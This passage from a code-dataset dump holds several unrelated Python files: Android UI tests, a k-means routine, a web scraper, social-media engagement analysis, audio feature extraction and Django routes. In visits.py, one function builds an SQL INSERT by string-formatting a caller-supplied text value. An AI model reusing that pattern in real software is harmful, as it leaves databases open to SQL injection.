AndroidShouye(unittest.TestCase):\n def setUp(self) -> None:\n desired_caps = {}\n desired_caps[\"platformName\"] = \"Android\"\n desired_caps[\"platformVersion\"] = \"5.1.1\"\n desired_caps[\"deviceName\"] = \"Android Emulator\"\n desired_caps[\"noReset\"] = \"True\"\n desired_caps[\"appPackage\"] = \"cn.xiaochuankeji.tieba\"\n desired_caps[\"appActivity\"] = \".ui.base.SplashActivity\"\n desired_caps[\"automationName\"] = \"Uiautomator2\"\n desired_caps[\"unicodeKeyboard\"] = \"True\"\n desired_caps[\"resetKeyboard\"] = \"True\"\n\n self.driver = webdriver.Remote(\"http://localhost:4723/wd/hub\", desired_caps)\n time.sleep(2)\n print(\"startTime:\" + time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime(time.time())))\n\n def tearDown(self) -> None:\n filedir = \"E:/test/Androidscr/\"\n if not os.path.exists(filedir):\n os.mkdir(os.path.join(\"E:/\", \"test\", \"Androidscr\"))\n print(\"endTime:\" + time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime(time.time())))\n screen_name = filedir + time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime(time.time())) + \".png\"\n self.driver.get_screenshot_as_file(screen_name)\n self.driver.quit() # 关闭App\n\n def testshouye01_13(self):\n '''是否能在用户个人主页正常关注或取关其他用户'''\n # 调用进入第一条帖子贴主的个人主页EnterPer().enterPer()\n EnterPer(self.driver).enterPer()\n # 获取贴主昵称\n user_name = self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/member_name\").text\n # 定位 +关注/已关注按钮\n guanzhu = self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/btn_follow\")\n old_guanzhu_text = guanzhu.text\n if old_guanzhu_text == \"+ 关注\": # 如果列表第一个贴主为 未关注\n # 点击“+关注“按钮\n guanzhu.click()\n new_guanzhu_text = guanzhu.text\n # 返回上一页页面\n self.driver.keyevent(4)\n time.sleep(2)\n # 进入我的个人主页,获取我关注的用户昵称\n self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/me_item\").click()\n time.sleep(2)\n self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/follow\").click()\n time.sleep(2)\n eles = self.driver.find_elements_by_id(\"cn.xiaochuankeji.tieba:id/tv_name\")\n userList = []\n for i in range(0, len(eles)):\n userList.append(eles[i].text)\n allUserList = \"\".join(userList)\n # 断言\n self.assertEqual(\"已关注\", new_guanzhu_text)\n self.assertIn(user_name, allUserList)\n\n elif old_guanzhu_text == \"已关注\": # 如果列表第一个贴主为 已关注\n # 点击“已关注”按钮\n guanzhu.click()\n # 弹出提示框,点击确定\n tishi = self.driver.find_element_by_xpath(\"//*[@text='确定取消关注吗?']\")\n self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/bt_positive\").click()\n new_guanzhu_text = guanzhu.text\n # 返回上一页页面\n self.driver.keyevent(4)\n time.sleep(2)\n # 进入我的个人主页,获取我关注的用户昵称\n self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/me_item\").click()\n time.sleep(2)\n self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/follow\").click()\n time.sleep(2)\n eles = self.driver.find_elements_by_id(\"cn.xiaochuankeji.tieba:id/tv_name\")\n userList = []\n for i in range(0, len(eles)):\n userList.append(eles[i].text)\n allUserList = \"\".join(userList)\n # 断言\n self.assertEqual(\"+ 关注\", new_guanzhu_text)\n self.assertNotIn(user_name, allUserList)\n\n def testshouye01_14(self):\n '''是否可以私聊其他用户'''\n EnterPer(self.driver).enterPer()\n # 获取贴主昵称\n user_name1 = self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/member_name\").text\n # 定位 私聊,点击\n self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/btn_chat\").click()\n time.sleep(2)\n # 跳转到私聊页面,获取私聊页面信息\n user_name2 = self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/title\").text\n default = self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/input\").text\n fs = self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/text\").text\n # AppLogout(self.driver).appLogout() # 退出登录\n # 断言\n self.assertEqual(user_name1, user_name2)\n self.assertEqual(\"说点好听的...\", default)\n self.assertEqual(\"发送\", fs)\n\n def testusercenter01_15(self):\n '''是否可以与用户正常私聊'''\n EnterPer(self.driver).enterPer()\n # 定位 私聊,点击\n self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/btn_chat\").click()\n time.sleep(2)\n # 输入私聊内容\n inputt = self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/input\")\n inputt.send_keys(\"这是一条Test\" + time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime(time.time())))\n old_input = inputt.text # 获取输入的内容\n # 发送\n self.driver.find_element_by_id(\"cn.xiaochuankeji.tieba:id/text\").click()\n time.sleep(1)\n # 获取聊天框的内容\n eles = self.driver.find_elements_by_id(\"cn.xiaochuankeji.tieba:id/content\")\n contentRawList = []\n for i in range(0, len(eles)):\n contentRawList.append(eles[i].text)\n all_contentRawList = \"\".join(contentRawList)\n # 断言\n self.assertIn(old_input, all_contentRawList)\n\n\nif __name__ == \"__main__\":\n # suite = unittest.TestLoader().loadTestsFromTestCase(AndroidShouye)\n # unittest.TextTestRunner(verbosity=2).run(suite)\n unittest.main()","sub_path":"Uiframe0test/case/app/testusercenter.py","file_name":"testusercenter.py","file_ext":"py","file_size_in_byte":6206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"119867453","text":"from UsersDB import UsersDB\n\n\ndef createVisits():\n a.query(\n 'CREATE TABLE visits(id INTEGER NOT NULL PRIMARY KEY autoincrement UNIQUE, vk_id INTEGER, link_id INTEGER, fromWhere TEXT, date INTEGER);'\n )\n\n\ndef addVisit(link_id, vk_id, fromWhere):\n a.query(\n 'INSERT INTO visits(vk_id, link_id, fromWhere) values (%d,%d,\\'%s\\')' % (vk_id, link_id, fromWhere)\n )\n return\n\na = UsersDB()\n","sub_path":"Lessons/sql/visits.py","file_name":"visits.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"4821087","text":"#prima fase della rete RBF: determinazione dei centroidi\n\nimport numpy as np\n\nk = 4\nmax_iters = 100\n\n\ndef kmeans(X, k, max_iters):\n centroids = X[np.random.choice(range(len(X)), k, replace=False)]\n\n converged = False\n\n current_iter = 0\n\n while (not converged) and (current_iter < max_iters):\n\n cluster_list = [[] for i in range(len(centroids))]\n\n for x in X: # Go through each data point\n distances_list = []\n for c in centroids:\n distances_list.append(get_distance(c, x))\n cluster_list[int(np.argmin(distances_list))].append(x)\n\n cluster_list = list((filter(None, cluster_list)))\n\n prev_centroids = centroids.copy()\n\n centroids = []\n\n for j in range(len(cluster_list)):\n centroids.append(np.mean(cluster_list[j], axis=0))\n\n pattern = np.abs(np.sum(prev_centroids) - np.sum(centroids))\n\n print('K-MEANS: ', int(pattern))\n\n converged = (pattern == 0)\n\n current_iter += 1\n\n return np.array(centroids), [np.std(x) for x in cluster_list]","sub_path":"Angela/centroidi.py","file_name":"centroidi.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"121465937","text":"import scrapy\n\n\nclass TutanakSpider(scrapy.Spider):\n name = \"tutanak\"\n\n def start_requests(self):\n urls = [\n 'https://www.tbmm.gov.tr/tutanak/tutanaklar.htm',\n ]\n for url in urls:\n yield scrapy.Request(url=url, callback=self.parseYil)\n\n def parseYil(self, response):\n\n yilURL=response.css(\".anaORTAsayfaBaslik a::attr(href)\").extract()\n\n for yil in yilURL:\n yield scrapy.Request(url=yil, callback=self.parseBirlesim)\n \n\n def parseBirlesim(self,response):\n\n \tbirlesimURL=response.xpath('/html//a[contains (text(),\"Birleşim\")]/@href').extract()\n \tfor birlesim in birlesimURL:\n \t yield scrapy.Request(url=birlesim, callback=self.parseTutanak)\n\n def parseTutanak(self,response):\n fileName=response.url\n fileName=fileName.replace(\"/\", \"_\")\n fileName=fileName.replace(\".\", \"\")\n fileName=fileName.replace(\":\", \"\")\n fileName=fileName + \".txt\"\n\n if (response.css(\".anaORTAsayfa\").extract()) is None or len(response.css(\".anaORTAsayfa\").extract()) == 0:\n if(response.css(\".Section1\").extract()) is None or len(response.css(\".Section1\").extract()) == 0:\n tutanak = response.css(\".WordSection1 *::text\").extract()\n else:\n tutanak = response.css(\".Section1 *::text\").extract()\n\n else:\n tutanak = response.css(\".anaORTAsayfa *::text\").extract()\n \n if tutanak is None:\n tutanak=response.css(\"*::text\").extract()\n\n tutanak=''.join(tutanak)\n\n file=open(fileName,\"w\", encoding=\"utf-8\")\n file.write(tutanak)\n file.close()\n","sub_path":"tutanakspider.py","file_name":"tutanakspider.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"300334954","text":"import os\nimport warnings\nimport re\nimport datetime\nimport json\nimport random\nfrom collections import Counter\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport scipy.stats as stats\n\nfrom utils import import_data, save_figure\nfrom ipm_paper_part_1 import details_temporal_evolution, plot_one_group, calculate_confidence_interval\n\nwarnings.filterwarnings(\"ignore\")\n\n\ndef import_crowdtangle_group_data():\n\n posts_wi_date_df = import_data(folder=\"crowdtangle_group\", \n file_name=\"posts_self_declared_wi_date.csv\")\n print('\\nThere are {} Facebook pages with the last strike date visible on the screenshot.'.\\\n format(posts_wi_date_df.account_id.nunique()))\n\n posts_wo_date_df = import_data(folder=\"crowdtangle_group\", \n file_name=\"posts_self_declared_wo_date.csv\")\n list_wo_name = [\n 'Artists For A Free World',\n 'Terrence K Williams',\n 'Ben Garrison Cartoons',\n 'Wendy Bell Radio',\n 'New Independence Network',\n 'Pruden POD & Post',\n 'PR Conservative',\n 'Org of Conservative Trump Americans',\n 'Con Ciencia Indigena',\n 'Republican Party of Lafayette County',\n 'The Daily Perspective Podcast',\n 'Freedom Memes',\n 'White Dragon Society',\n 'Robertson Family Values'\n ]\n posts_wo_date_df = posts_wo_date_df[~posts_wo_date_df['account_name'].isin(list_wo_name)]\n print('There are {} Facebook pages without the last strike date visible on the screenshot.'.\\\n format(posts_wo_date_df.account_id.nunique()))\n\n posts_df = pd.concat([posts_wi_date_df, posts_wo_date_df])\n\n posts_df['date'] = pd.to_datetime(posts_df['date'])\n\n return posts_df\n\n\ndef save_figure_4(posts_df, pages_df):\n\n account_name = 'I Love Carbon Dioxide'\n account_id = posts_df[posts_df['account_name']==account_name].account_id.unique()[0]\n reduced_distribution_date = pages_df[pages_df['page_name'] == account_name]['date'].values[0]\n\n plt.figure(figsize=(10, 4))\n ax = plt.subplot()\n \n plt.title(\"Engagement metrics for one 'reduced distribution' page ('\" + account_name + \"')\", size=\"x-large\")\n\n plot_one_group(ax, posts_df, account_id, fake_news_dates=[])\n\n xticks = [np.datetime64('2019-01-01'), np.datetime64('2019-03-01'), np.datetime64('2019-05-01'), \n np.datetime64('2019-07-01'), np.datetime64('2019-09-01'), np.datetime64('2019-11-01'),\n np.datetime64('2020-01-01'), np.datetime64('2020-03-01'), \n np.datetime64('2020-07-01'), np.datetime64('2020-09-01'), np.datetime64('2020-11-01'), \n np.datetime64(reduced_distribution_date)\n ]\n plt.xticks(xticks, rotation=30, ha='right')\n plt.gca().get_xticklabels()[-1].set_color('red')\n\n plt.axvline(x=np.datetime64(reduced_distribution_date), \n color='C3', linestyle='--', linewidth=2)\n\n plt.legend()\n plt.tight_layout()\n save_figure('figure_4', folder='ip&m', dpi=100)\n\n\ndef save_supplementary_figure_2(posts_df, pages_df):\n\n accounts_to_plot = [\n 'Tucker Carlson Tonight',\n 'Normals Are Pissed',\n 'Botanica Health',\n 'Jodie Meschuk',\n 'The PROOF Blog',\n \"The Rational Capitalist\",\n 'Mark Levin',\n 'POVnow',\n \"Tell The USA to DUMP Trump\",\n 'Florida Boys TV'\n ]\n\n fig = plt.figure(figsize=(10, 12))\n\n for idx in range(len(accounts_to_plot)):\n ax = plt.subplot(5, 2, idx + 1)\n plt.title(accounts_to_plot[idx])\n\n account_id = posts_df[posts_df['account_name']==accounts_to_plot[idx]].account_id.unique()[0]\n reduced_distribution_date = pages_df[pages_df['page_name'] == accounts_to_plot[idx]]['date'].values[0]\n\n plot_one_group(ax, posts_df, account_id, fake_news_dates=[])\n\n xticks = [np.datetime64('2019-01-01'), np.datetime64('2019-05-01'), np.datetime64('2019-09-01'),\n np.datetime64('2020-01-01'), np.datetime64('2020-05-01'), np.datetime64('2020-09-01'),\n np.datetime64(reduced_distribution_date)]\n plt.xticks(xticks, rotation=30, ha='right')\n plt.gca().get_xticklabels()[-1].set_color('red')\n plt.axvline(x=np.datetime64(reduced_distribution_date), \n color='C3', linestyle='--', linewidth=2)\n\n if idx == 0: \n plt.legend()\n\n plt.tight_layout()\n save_figure('supplementary_figure_3', folder='ip&m', dpi=100)\n\n\ndef compute_periods_average(posts_df, pages_df, period_length=7):\n\n before_date = {\n 'reaction': [],\n 'share': [],\n 'comment': [],\n 'post_nb': []\n }\n after_date = {\n 'reaction': [],\n 'share': [],\n 'comment': [],\n 'post_nb': []\n }\n\n for account_id in posts_df['account_id'].unique():\n\n account_name = posts_df[posts_df['account_id']==account_id].account_name.unique()[0]\n reduced_distribution_date = pages_df[pages_df['page_name'] == account_name]['date'].values[0]\n reduced_distribution_date = datetime.datetime.strptime(str(reduced_distribution_date)[:10], '%Y-%m-%d')\n posts_df_group = posts_df[posts_df[\"account_id\"] == account_id]\n\n posts_df_group_before = posts_df_group[\n (posts_df_group['date'] > reduced_distribution_date - datetime.timedelta(days=period_length)) &\n (posts_df_group['date'] < reduced_distribution_date)\n ]\n posts_df_group_after = posts_df_group[\n (posts_df_group['date'] > reduced_distribution_date) &\n (posts_df_group['date'] < reduced_distribution_date + datetime.timedelta(days=period_length))\n ]\n \n if (len(posts_df_group_before) > 0) & (len(posts_df_group_after) > 0):\n \n before_date['reaction'].append(np.mean(posts_df_group_before['reaction']))\n after_date['reaction'].append(np.mean(posts_df_group_after['reaction']))\n\n before_date['share'].append(np.mean(posts_df_group_before['share']))\n after_date['share'].append(np.mean(posts_df_group_after['share']))\n\n before_date['comment'].append(np.mean(posts_df_group_before['comment']))\n after_date['comment'].append(np.mean(posts_df_group_after['comment']))\n\n before_date['post_nb'].append(len(posts_df_group_before)/period_length)\n after_date['post_nb'].append(len(posts_df_group_after)/period_length)\n\n return before_date, after_date\n\n\ndef print_before_after_statistics(before_date, after_date):\n\n w, p = stats.wilcoxon(before_date['reaction'], after_date['reaction'])\n print('\\nWilcoxon test between the reactions: w =', w, ', p =', p)\n\n w, p = stats.wilcoxon(before_date['share'], after_date['share'])\n print('\\nWilcoxon test between the shares: w =', w, ', p =', p)\n\n w, p = stats.wilcoxon(before_date['comment'], after_date['comment'])\n print('\\nWilcoxon test between the comments: w =', w, ', p =', p)\n\n w, p = stats.wilcoxon(before_date['post_nb'], after_date['post_nb'])\n print('\\nWilcoxon test between the number of posts: w =', w, ', p =', p)\n print(np.mean(before_date['post_nb']), np.mean(after_date['post_nb']))\n\n\ndef details_bar_plot(ax):\n ax.tick_params(axis='x', which='both', length=0)\n ax.grid(axis=\"y\", zorder=0)\n plt.locator_params(axis='y', nbins=8)\n ax.spines['right'].set_visible(False)\n ax.spines['left'].set_visible(False)\n ax.spines['top'].set_visible(False)\n\n\ndef plot_before_after_bars(before_date, after_date, period_length):\n\n fig = plt.figure(figsize=(10, 4))\n gs = fig.add_gridspec(1, 4)\n\n ## ENGAGEMENT METRICS\n\n ax = fig.add_subplot(gs[0, 0:3])\n width = .25\n labels = ['Reactions', 'Shares', 'Comments']\n x = np.arange(len(labels)) \n\n # Plot the bars\n plt.bar(x - width/2, [np.mean(before_date['reaction']), np.mean(before_date['share']), \n np.mean(before_date['comment'])], \n width, label=\"{} days before the reduced distribution start date\".format(period_length), \n color='paleturquoise', edgecolor=[.2, .2, .2], zorder=3)\n plt.bar(x + width/2, [np.mean(after_date['reaction']), np.mean(after_date['share']), \n np.mean(after_date['comment'])], \n width, label=\"{} days after the reduced distribution start date\".format(period_length), \n color='navajowhite', edgecolor=[.2, .2, .2], zorder=3)\n\n # Add the error bars\n idx = 0 \n for metric in ['reaction', 'share', 'comment']:\n low, high = calculate_confidence_interval(before_date[metric])\n plt.errorbar(idx - width/2, np.mean(before_date[metric]), \n yerr=[[np.mean(before_date[metric]) - low], [high - np.mean(before_date[metric])]], \n color=[.2, .2, .2], zorder=4, linestyle='')\n\n low, high = calculate_confidence_interval(after_date[metric])\n plt.errorbar(idx + width/2, np.mean(after_date[metric]), \n yerr=[[np.mean(after_date[metric]) - low], [high - np.mean(after_date[metric])]], \n color=[.2, .2, .2], zorder=4, linestyle='')\n\n idx += 1\n\n # details\n plt.legend(framealpha=1)\n plt.title(\"Averages over {} 'reduced distribution' accounts\"\\\n .format(len(before_date['reaction'])), loc='right', size=\"x-large\")\n plt.xticks(x, labels, fontsize='large',)\n plt.xlim([-.5, 2.5])\n details_bar_plot(ax)\n\n ## NUMBER OF POSTS\n ax = fig.add_subplot(gs[0, 3])\n\n plt.bar(-width/2, np.mean(before_date['post_nb']), \n width, label=\"{} days before the reduced distribution start date\".format(period_length), \n color='paleturquoise', edgecolor=[.2, .2, .2], zorder=3)\n plt.bar(width/2, np.mean(after_date['post_nb']), \n width, label=\"{} days after the reduced distribution start date\".format(period_length), \n color='navajowhite', edgecolor=[.2, .2, .2], zorder=3)\n \n low, high = calculate_confidence_interval(before_date['post_nb'])\n plt.errorbar(-width/2, np.mean(before_date['post_nb']), \n yerr=[[np.mean(before_date['post_nb']) - low], [high - np.mean(before_date['post_nb'])]], \n color=[.2, .2, .2], zorder=4, linestyle='')\n low, high = calculate_confidence_interval(after_date['post_nb'])\n plt.errorbar(width/2, np.mean(after_date['post_nb']), \n yerr=[[np.mean(after_date['post_nb']) - low], [high - np.mean(after_date['post_nb'])]], \n color=[.2, .2, .2], zorder=4, linestyle='')\n\n plt.xticks([0], ['Number of daily posts'], fontsize='large',)\n plt.xlim([-.5, .5])\n details_bar_plot(ax)\n\n plt.tight_layout()\n if period_length == 7:\n save_figure('figure_5', folder='ip&m', dpi=100)\n else:\n save_figure('supplementary_figure_4', folder='ip&m', dpi=100)\n\n\ndef save_figure_5(posts_df, pages_df, period_length=7):\n\n before_date, after_date = compute_periods_average(posts_df, pages_df, period_length=period_length)\n print_before_after_statistics(before_date, after_date)\n plot_before_after_bars(before_date, after_date, period_length=period_length)\n\n\ndef print_statistics_screenshot_posts(screenshot_df):\n print('\\n\\nOVERPERFORMING SCORE STATISTICS')\n print('The average score is {}.'.format(np.nanmean(screenshot_df['score'].values)))\n print('Only {} posts have a positive score.'.format(len(screenshot_df[screenshot_df['score'] > 0])))\n w, p = stats.wilcoxon(screenshot_df['score'].values, alternative=\"less\")\n print('Wilcoxon test of the overperfoming scores against zero: w =', w, ', p =', p)\n\n\ndef save_all_groups_figures(posts_df, pages_df):\n\n group_index = 0\n for account_id in posts_df['account_id'].unique():\n\n if group_index % 10 == 0:\n plt.figure(figsize=(12, 14))\n\n ax = plt.subplot(5, 2, group_index % 10 + 1)\n \n account_name = posts_df[posts_df['account_id']==account_id].account_name.unique()[0]\n plt.title(account_name, size=\"x-large\")\n reduced_distribution_date = pages_df[pages_df['page_name'] == account_name]['date'].values[0]\n\n plot_one_group(ax, posts_df, account_id, fake_news_dates=[])\n\n xticks = [np.datetime64('2019-01-01'), np.datetime64('2019-05-01'), np.datetime64('2019-09-01'),\n np.datetime64('2020-01-01'), np.datetime64('2020-05-01'), np.datetime64('2020-09-01'),\n np.datetime64(reduced_distribution_date)]\n plt.xticks(xticks, rotation=30, ha='right')\n plt.gca().get_xticklabels()[-1].set_color('red')\n plt.axvline(x=np.datetime64(reduced_distribution_date), \n color='C3', linestyle='--', linewidth=2)\n\n if group_index % 10 == 0: \n plt.legend()\n\n if (group_index % 10 == 9) | (group_index == posts_df['account_id'].nunique() - 1):\n plt.tight_layout()\n save_figure('z_part_2_all_groups_{}'.format(int(group_index / 10) + 1), folder='ip&m', dpi=100)\n\n group_index += 1\n\n\nif __name__ == \"__main__\":\n \n posts_df = import_crowdtangle_group_data()\n pages_df = import_data(folder=\"crowdtangle_list\", file_name=\"page_list_part_2.csv\")\n pages_df['date'] = pd.to_datetime(pages_df['reduced_distribution_start_date'])\n\n save_figure_4(posts_df, pages_df)\n save_supplementary_figure_2(posts_df, pages_df)\n save_figure_5(posts_df, pages_df)\n save_figure_5(posts_df, pages_df, period_length=30)\n\n screenshot_df = import_data(folder=\"crowdtangle_post_by_id\", file_name='screenshot_posts.csv')\n print_statistics_screenshot_posts(screenshot_df)\n\n # save_all_groups_figures(posts_df, pages_df)\n","sub_path":"code/ipm_paper_part_2.py","file_name":"ipm_paper_part_2.py","file_ext":"py","file_size_in_byte":13669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"147775272","text":"import numpy as np\nimport os\nimport librosa\nimport sys\n\n\ndef main(argv):\n code = argv[1] # 기관명\n name = argv[2] # 이름 + 폰번호\n\n print(code, name)\n\n default_path = os.path.join(os.path.join(os.path.abspath(__file__)).replace('mfcctonpy.py',''), code)\n \n # default_path = os.path.join(os.path.join(\"C:\\ssafy\\project2\\pjt3\\s03p23a509\\AI\\Voice\", code))\n\n DATA_PATH = os.path.join(default_path, 'data')\n new_path = os.path.join(DATA_PATH, name)\n print(new_path)\n\n load_wave_generator(new_path)\n\n\n# wav -> mfcc, mfcc -> .npy 로 변환해서 저장함\n\n\ndef load_wave_generator(path):\n files = os.listdir(path)\n for file in files:\n if file.endswith('.wav'):\n y, sr = librosa.load(path + \"/\" + file)\n mfcc = librosa.feature.mfcc(y=y, sr=sr, n_mfcc=13, hop_length=int(sr * 0.01), n_fft=int(sr * 0.02)).T\n\n numbers = np.array(mfcc)\n\n np.save(os.path.join(path, 'data.npy'), arr=numbers)\n npyarr = np.load(os.path.join(path, 'data.npy'))\n print(npyarr)\n\n\nif __name__ == \"__main__\":\n main(sys.argv)\n\n#\n# def load_wave_generator(path):\n# X_data = []\n# Y_label = []\n# global X_train, X_test, Y_train, Y_test, total_class\n#\n# folders = os.listdir(path)\n#\n# for folder in folders:\n# if not os.path.isdir(path): continue\n# files = os.listdir(path + \"/\" + folder)\n#\n# for f in files:\n# if f.endswith('.wav'):\n# y, sr = librosa.load(path + \"/\" + folder + \"/\" + f)\n# mfcc = librosa.feature.mfcc(y=y, sr=sr, n_mfcc=13, hop_length=int(sr * 0.01), n_fft=int(sr * 0.02)).T\n#\n# numbers = np.array(mfcc)\n#\n# np.save(os.path.join(os.path.join('C:\\\\ssafy\\\\project2\\\\pjt3\\\\s03p23a509\\\\AI\\\\Voice\\\\data', str(total_class)), 'data.npy'), arr=numbers)\n#\n# npyarr = np.load(os.path.join(os.path.join('C:\\\\ssafy\\\\project2\\\\pjt3\\\\s03p23a509\\\\AI\\\\Voice\\\\data', str(total_class)), 'data.npy'))\n#\n# print(npyarr)\n#\n# print('=====================================================================================')\n#\n# total_class += 1\n#\n#\n# load_wave_generator(DATA_PATH)\n","sub_path":"AI/Voice/mfcctonpy.py","file_name":"mfcctonpy.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"198720803","text":"from django.conf.urls import url\nfrom django.contrib.auth.views import login,logout\n\nfrom . import views\n\nurlpatterns = [\n # Login / Logout\n url(r'^login/$', login, {'template_name': 'accounts/login.html'}, name='login'),\n url(r'^logout/$', logout, name='logout'),\n # ユーザー情報\n url(r'^profile/$', views.profile, name='profile'),\n # ユーザー登録\n url(r'^regist/$', views.regist, name='regist'),\n url(r'^regist_save/$', views.regist_save, name='regist_save'),\n]\n","sub_path":"app/accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"530769978","text":"import json\n\nimport requests\n\nvalidate_url = \"https://analytics.pinadmin.com/ds/experiment/validate/\"\nvalidate_params = json.dumps({\"experiment\": \"pinnability_multi_target_experiments\",\n \"groups\":\n [\"employee\",\"model_pintel\",\"target_click\",\"target_click_balanced\",\"target_click_balanced_large\",\"target_control\",\"target_repin\",\"target_repin_large\",\"target_repin_or_click\",\"target_repin_or_click_large\",\"topic_calibrated\",\"topic_control\",\"topic_enabled\"],\n \"dimensions\":{}, \"start_date\":\"20150227\",\n \"end_date\":\"20150413\" })\n\ndays = requests.get(validate_url, params={\"params\": validate_params}).json().get('data')\nday_groups = []\nfor day in days:\n groups = day['groups']\n mapped_groups = {group['group_name']: group for group in groups}\n day_groups.append(mapped_groups)\n\ndays_in_url = \"https://analytics.pinadmin.com/ds/experiment/days-in/\"\ndays_in_params = json.dumps({\"experiment\":\n \"pinnability_multi_target_experiments\", \"groups\":\n [\"target_click_balanced_large\",\"target_repin_large\"],\n \"control_group\": \"target_click_balanced_large\",\n \"dimensions\":{}, \"start_date\":\"20150227\",\n \"end_date\":\"20150413\", \"daysIn\": range(28)})\ndays_in_headers = {'content-type': 'application/json'}\nraw_data = requests.post(days_in_url, data=days_in_params, headers=days_in_headers).json().get('data')\n\n# e.g. dau = raw_data[0]\n","sub_path":"MagicButton/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"14626133","text":"\nHEADER_XPATH = ['//h1/text()']\nAUTHOR_XPATH = ['//span[@itemprop=\"author\"]/a/text()']\nPUBDATE_XPATH = ['//time[@class=\"value-title\"]/@datetime']\nCATEGORY_XPATH = ['']#no\nTAGS_XPATH = ['']#no\nTEXT_XPATH = ['//div[@itemprop=\"articleBody\"]/p//text()']\nINTERLINKS = [''] #were not found\n#2019-08-02T06:35:33+01:00\nDATE_FORMAT_STRING = '%Y-%m-%d'\n# farmbusiness.co.uk\n","sub_path":"Basic/sm_farmbusiness.py","file_name":"sm_farmbusiness.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"574196862","text":"import json\n\n\n# 取得公視的新聞 保存成 json 檔案的部分還沒做\nPTS_category = [\"地方\", \"全球\", \"政治\", \"文教\", \"科技\", \"生活\", \"產經\", \"社會\"]\n\ndef PTS_get_news():\n with open(\"./data/PTS.json\") as f:\n return json.load(f)\n\n\ndef build_library():\n all_news_tags = []\n tags_dict = {}\n category = PTS_get_news()\n for i in PTS_category:\n if i not in category:\n continue\n for j in range(len(category[i])):\n all_news_tags.extend(category[i][j]['tags'])\n for tag in category[i][j]['tags']:\n if tag not in tags_dict:\n tags_dict[tag] = []\n tags_dict[tag].append(category[i][j])\n\n all_news_tags = list(set(all_news_tags))\n return all_news_tags\n # print(all_news_tags) #all_news_tags是tag 的辭庫\n","sub_path":"filter/PTS_build_tags.py","file_name":"PTS_build_tags.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"42691312","text":"import os, sys, glob, time\nfrom ROOT import *\nimport argparse\nfrom copy import copy, deepcopy\nsys.path.insert(0, '/Users/arkasantra/arka/include')\nfrom Functions import *\nimport pprint\n\n\ndef main():\n directory = \"OldSeedPlots\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n \n # give the signal sample you want to use, old with less signal tracks or new with more signal tracks\n parser = argparse.ArgumentParser(description='Code to find seed tracks')\n parser.add_argument('-o', action=\"store_true\", dest=\"needOldSignal\", default=False)\n args = parser.parse_args()\n inDirectory = \"NoRemovalOfDuplicateTracks\"\n \n if(args.needOldSignal):\n #### signal and background file\n signalAndBackgroundBX1 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics3000nmOld_BX1_trackInfoClean_VariableEnergyCut_SignalAndBackground_PositronSide.root\", \"READ\")\n signalAndBackgroundBX2 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics3000nmOld_BX2_trackInfoClean_VariableEnergyCut_SignalAndBackground_PositronSide.root\", \"READ\")\n signalAndBackgroundBX3 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics3000nmOld_BX3_trackInfoClean_VariableEnergyCut_SignalAndBackground_PositronSide.root\", \"READ\")\n signalAndBackgroundBX4 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics3000nmOld_BX4_trackInfoClean_VariableEnergyCut_SignalAndBackground_PositronSide.root\", \"READ\")\n\n #### only signal file\n signalFromBkgFileBX1 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics3000nmOld_BX1_trackInfoClean_VariableEnergyCut_OnlySignal_PositronSide.root\", \"READ\")\n signalFromBkgFileBX2 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics3000nmOld_BX2_trackInfoClean_VariableEnergyCut_OnlySignal_PositronSide.root\", \"READ\")\n signalFromBkgFileBX3 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics3000nmOld_BX3_trackInfoClean_VariableEnergyCut_OnlySignal_PositronSide.root\", \"READ\")\n signalFromBkgFileBX4 = TFile(inDirectory+\"/seedingInformation_BkgEBeam_SignalHics3000nmOld_BX4_trackInfoClean_VariableEnergyCut_OnlySignal_PositronSide.root\", \"READ\")\n\n 